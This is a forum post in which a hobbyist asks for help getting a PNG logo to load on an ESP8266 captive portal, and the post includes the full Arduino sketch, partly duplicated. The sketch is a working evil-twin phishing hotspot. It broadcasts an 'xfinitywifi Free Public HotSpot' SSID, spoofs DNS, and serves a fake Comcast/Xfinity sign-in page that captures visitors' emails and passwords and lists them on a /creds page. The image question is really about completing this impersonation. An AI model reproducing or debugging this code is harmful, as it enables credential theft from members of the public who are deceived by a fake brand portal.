Trying to display .png image stored on SPIFFS..
Posted: Thu Sep 03, 2020 8:16 pmI have a wemos D1 Mini setup as a softAP using esp8266WebServer library. In this portion of my code, the commented out function allowed the .png image to display properly on every page but the main index page. Unfortunately, it also somehow disabled the captive portal functionality, and the actual index page will not load manually, or otherwise, when the "handleWebRequests();" function is uncommented:
When it is commented out, the image doesn't load at all, but the page works normally otherwise. I don't understand enough about html to understand whats stopping the image to load properly. I imagine I am inserting that handleWebRequests function in the wrong place, or maybe misusing it completely. My code is a mashup of a captive portal example, and a SPIFFS image loading example. I will post those as well, they aren't too complicated to look at on their own, besides the http/html codes I am not understanding. If anyone could take a look I'd appreciate It! have been trying all day to get it to work, and hopefully I have enough information by now to help those who might help me.
Here is a screenshot of it with function commented out on index page:
And here is screenshot with it un-commented and working fine on creds page:
My code:
/////////////////////////
CODE I USED:
/////////////////////////
Image on web server from SPIFFS .ino:
Captive Portal Example .ino:
Anyone out there who has done this?? Still haven't figured it out..
Code: Select all
webServer.onNotFound([]() {
lastActivity = millis();
//handleWebRequests();
webServer.send(HTTP_CODE, "text/html", index());
When it is commented out, the image doesn't load at all, but the page works normally otherwise. I don't understand enough about html to understand whats stopping the image to load properly. I imagine I am inserting that handleWebRequests function in the wrong place, or maybe misusing it completely. My code is a mashup of a captive portal example, and a SPIFFS image loading example. I will post those as well, they aren't too complicated to look at on their own, besides the http/html codes I am not understanding. If anyone could take a look I'd appreciate It! have been trying all day to get it to work, and hopefully I have enough information by now to help those who might help me.
Here is a screenshot of it with function commented out on index page:
And here is screenshot with it un-commented and working fine on creds page:
My code:
Code: Select all
// ESP8266 WiFi Captive Portal
// By BlueArduino20
// Based on: PopupChat https://github.com/tlack/popup-chat
// Includes
#include <ESP8266WiFi.h>
#include <DNSServer.h>
#include <ESP8266WebServer.h>
#include <FS.h>
// User configuration
#define SSID_NAME "xfinitywifi Free Public HotSpot"
#define SUBTITLE "Free Public WiFi HotSpot."
#define TITLE "Sign in:"
#define BODY "Create an account to get started."
#define POST_TITLE "Validating..."
#define POST_BODY "Your account is being validated. Please, wait up to 1 minute for device connection.</br>Thank you."
#define PASS_TITLE "Credentials"
#define CLEAR_TITLE "Cleared"
// Init System Settings
const byte HTTP_CODE = 200;
const byte DNS_PORT = 53;
const byte TICK_TIMER = 1000;
IPAddress APIP(8, 8, 8, 8); // Gateway
String Credentials = "";
unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0;
DNSServer dnsServer; ESP8266WebServer webServer(80);
String input(String argName) {
String a = webServer.arg(argName);
a.replace("<", "<"); a.replace(">", ">");
a.substring(0, 200); return a;
}
String footer() {
return
"</div><div class=q><a>©Comcast - All rights reserved.</a></div>";
}
String header(String t) {
String a = "Xfinity WiFi";
String CSS = "article { background: #f2f2f2; padding: 1.3em; }"
"html { text-align: center; height: 100%; }"
"body { height: 100%; background: linear-gradient(to top, black, white); color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }"
"div { padding: 1em; }"
"h1 { text-decoration: underline; margin: 0 0 0 0; padding: 0.5em; }"
"input { width: 100%; padding: 9px 10px; margin: 20px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; }"
"inputsubmit { width: 25%; }"
"label { color: #333; display: block; font-style: italic; font-weight: bold; }"
"nav { background: linear-gradient(to right, red, black); color: #fff; display: block; font-size: 1.3em; padding: 1em; }"
"nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } "
"textarea { width: 100%; }";
"form { margin: 0.5em; }";
String h = "<!DOCTYPE html><html>"
"<head><title>" + a + " :: " + t + "</title>"
"<meta name=viewport content=\"width=device-width,initial-scale=1\">"
"<style>" + CSS + "</style></head>"
"<body><nav><div align=\"left\";><img src=\"xfinitywifilogo.png\" alt=\"Comcast\" width=\"100\" height=\"100\"></div><b>" + a + "</b> " + SUBTITLE + "</nav><div><h1>" + t + "</h1></div><div>";
return h;
}
String creds() {
return header(PASS_TITLE) + "<ol>" + Credentials + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer();
}
String index() {
return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action=/post method=post>" +
"<b>Email:</b> <center><input type=text autocomplete=email name=email></input></center>" +
"<b>Password:</b> <center><input type=password name=password></input><inputsubmit><input type=submit value=\"Sign in\"></inputsubmit></form></center>" + footer();
}
String posted() {
String email = input("email");
String password = input("password");
Credentials = "<li>Email: <b>" + email + "</b></br>Password: <b>" + password + "</b></li>" + Credentials;
return header(POST_TITLE) + POST_BODY + footer();
}
String clear() {
String email = "<p></p>";
String password = "<p></p>";
Credentials = "<p></p>";
return header(CLEAR_TITLE) + "<div><p>The credentials list has been erased.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer();
}
void BLINK() { // The internal LED will blink 5 times when a password is received.
int count = 0;
while (count < 10) {
digitalWrite(BUILTIN_LED, LOW);
delay(100);
digitalWrite(BUILTIN_LED, HIGH);
delay(100);
count = count + 1;
}
}
void handleWebRequests() {
//Serial.println("handleWebRequests");
if (loadFromSpiffs(webServer.uri())) return;
String message = "File Not Detected\n\n";
message += "URI: ";
message += webServer.uri();
message += "\nMethod: ";
message += (webServer.method() == HTTP_GET) ? "GET" : "POST";
message += "\nArguments: ";
message += webServer.args();
message += "\n";
for (uint8_t i = 0; i < webServer.args(); i++) {
message += " NAME:" + webServer.argName(i) + "\n VALUE:" + webServer.arg(i) + "\n";
}
webServer.send(404, "text/plain", message);
Serial.println(message);
}
void setup() {
SPIFFS.begin();
Serial.begin(115200);
bootTime = lastActivity = millis();
WiFi.mode(WIFI_AP);
WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0));
WiFi.softAP(SSID_NAME);
dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only HTTP)
webServer.on("/post", []() {
webServer.send(HTTP_CODE, "text/html", posted());
BLINK();
});
webServer.on("/creds", []() {
webServer.send(HTTP_CODE, "text/html", creds());
});
webServer.on("/clear", []() {
webServer.send(HTTP_CODE, "text/html", clear());
});
webServer.onNotFound([]() {
lastActivity = millis();
//handleWebRequests();
webServer.send(HTTP_CODE, "text/html", index());
//Serial.println("Finished handleWebRequests");
});
webServer.begin();
pinMode(BUILTIN_LED, OUTPUT);
digitalWrite(BUILTIN_LED, HIGH);
}
void loop() {
if ((millis() - lastTick) > TICK_TIMER) {
lastTick = millis();
}
dnsServer.processNextRequest(); webServer.handleClient();
}
bool loadFromSpiffs(String path) {
String dataType = "text/plain";
if (path.endsWith("/")) path += "index.html";
if (path.endsWith(".src")) path = path.substring(0, path.lastIndexOf("."));
else if (path.endsWith(".html")) dataType = "text/html";
else if (path.endsWith(".htm")) dataType = "text/html";
else if (path.endsWith(".css")) dataType = "text/css";
else if (path.endsWith(".js")) dataType = "application/javascript";
else if (path.endsWith(".png")) dataType = "image/png";
else if (path.endsWith(".gif")) dataType = "image/gif";
else if (path.endsWith(".jpg")) dataType = "image/jpeg";
else if (path.endsWith(".ico")) dataType = "image/x-icon";
else if (path.endsWith(".xml")) dataType = "text/xml";
else if (path.endsWith(".pdf")) dataType = "application/pdf";
else if (path.endsWith(".zip")) dataType = "application/zip";
File dataFile = SPIFFS.open(path.c_str(), "r");
if (webServer.hasArg("download")) dataType = "application/octet-stream";
if (webServer.streamFile(dataFile, dataType) != dataFile.size()) {
}
dataFile.close();
//Serial.println("SPIFFS true");
return true;
}
/////////////////////////
CODE I USED:
/////////////////////////
Image on web server from SPIFFS .ino:
Captive Portal Example .ino:
Anyone out there who has done this?? Still haven't figured it out..